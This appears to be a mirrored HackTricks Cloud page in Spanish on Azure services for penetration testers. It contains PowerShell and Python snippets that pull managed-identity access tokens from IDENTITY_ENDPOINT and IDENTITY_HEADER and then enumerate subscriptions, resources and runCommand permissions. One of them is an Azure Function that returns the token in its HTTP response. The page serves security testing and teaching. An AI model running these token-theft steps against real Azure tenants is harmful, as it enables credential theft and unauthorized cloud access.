mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-11 20:45:21 -08:00
68 lines
2.7 KiB
Markdown
68 lines
2.7 KiB
Markdown
# Az - Services
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Portales
|
|
|
|
Puedes encontrar la lista de **portales de Microsoft en** [**https://msportals.io/**](https://msportals.io/)
|
|
|
|
### Solicitudes en bruto
|
|
|
|
#### Azure API a través de Powershell
|
|
|
|
Obtén **access_token** de **IDENTITY_HEADER** y **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
|
|
|
|
Luego consulta la API REST de Azure para obtener el **ID de suscripción** y más.
|
|
```bash
|
|
$Token = 'eyJ0eX..'
|
|
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
|
# $URI = 'https://graph.microsoft.com/v1.0/applications'
|
|
$RequestParams = @{
|
|
Method = 'GET'
|
|
Uri = $URI
|
|
Headers = @{
|
|
'Authorization' = "Bearer $Token"
|
|
}
|
|
}
|
|
(Invoke-RestMethod @RequestParams).value
|
|
|
|
# List resources and check for runCommand privileges
|
|
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
|
|
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
|
|
```
|
|
#### Azure API a través de la versión de Python
|
|
```python
|
|
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
|
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
|
|
|
print("[+] Management API")
|
|
cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
|
val = os.popen(cmd).read()
|
|
print("Access Token: "+json.loads(val)["access_token"])
|
|
print("ClientID/AccountID: "+json.loads(val)["client_id"])
|
|
|
|
print("\r\n[+] Graph API")
|
|
cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
|
val = os.popen(cmd).read()
|
|
print(json.loads(val)["access_token"])
|
|
print("ClientID/AccountID: "+json.loads(val)["client_id"])
|
|
```
|
|
o dentro de una función de Python:
|
|
```python
|
|
import logging, os
|
|
import azure.functions as func
|
|
|
|
def main(req: func.HttpRequest) -> func.HttpResponse:
|
|
logging.info('Python HTTP trigger function processed a request.')
|
|
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
|
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
|
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
|
val = os.popen(cmd).read()
|
|
return func.HttpResponse(val, status_code=200)
|
|
```
|
|
## Lista de Servicios
|
|
|
|
**Las páginas de esta sección están ordenadas por servicio de Azure. Allí podrás encontrar información sobre el servicio (cómo funciona y capacidades) y también cómo enumerar cada servicio.**
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|